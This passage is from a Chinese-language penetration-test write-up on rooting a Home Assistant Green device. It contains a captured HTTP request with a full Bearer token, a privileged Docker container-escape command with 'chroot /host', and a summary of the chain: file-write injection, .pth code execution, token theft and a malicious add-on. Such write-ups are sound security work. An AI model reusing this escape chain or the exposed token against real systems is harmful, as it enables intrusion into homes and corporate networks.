Authorization: Bearer 76794150e5f3fa3651aafa3f23b10228d9be0030e42d53883afbd7fe8d33903f9c1fe561c74a74056240382778d6374983ed5ebea711f88e
X-Hass-Source: core.websocket_api
Accept: */*
Accept-Encoding: gzip, deflate, br
Content-Length: 2
Content-Type: application/json

{}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 25
Date: Sun, 01 Nov 2026 12:21:09 GMT
Server: Python/3.13 aiohttp/3.12.15

{"result":"ok","data":{}}

现在我们可以用 add-on 中配置的凭据,连接到 8000 端口上暴露的 SSH 服务,并访问 Docker API:

随后我们用以下命令逃逸到宿主机:

# docker run --privileged -v /:/host --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --network=host --ipc=host --cgroupns=host -it ghcr.io/testmail123456/busybox sh

-v /:/host 把宿主机的根文件系统挂载到容器内。
--cap-add=ALL 授予全部内核能力,并禁用各项安全配置,包括 AppArmor、seccomp 和 SELinux。
共享所有关键的宿主机命名空间(PID、User、Network、IPC 等),把容器内的 root 用户映射为宿主机上真实的 root。

最后,我们 chroot 到 /host 目录,成功拿到 HA Green 这台设备本身的系统 HAOS 的 root shell,后续则通过配置文件拿到了复用的一些凭据,成功从家用路由器为起点打到了客户单位内网

# chroot /host

总结

起始点是边界设备,一台运维映射到公网的路由器的 root shell ,端口扫描发现 8095 为独立服务,是 HA Green 的插件 Music Assistant 的 web 界面。
我们通过测试发现换行注入可做到任意文件写入,结合 .pth 配合 ytmusic 作为触发器成功做到命令执行,至此,获得了容器内的立足点。
而后用 host_network 旁路 Supervisor 与 Core 的明文 HTTP,拿到了 Core 的特权 token,经 Supervisor API 安装并启动声明了 docker_api 与 14 项 capabilities 的 add-on,最终以 --privileged -v /:/host 与 chroot /host 取得宿主 root。

参考

https://docs.docker.com/engine/security/

https://docs.docker.com/reference/cli/docker/container/run/

https://docs.python.org/3/library/site.html

https://peps.python.org/pep-0370/

https://docs.python.org/3/reference/import.html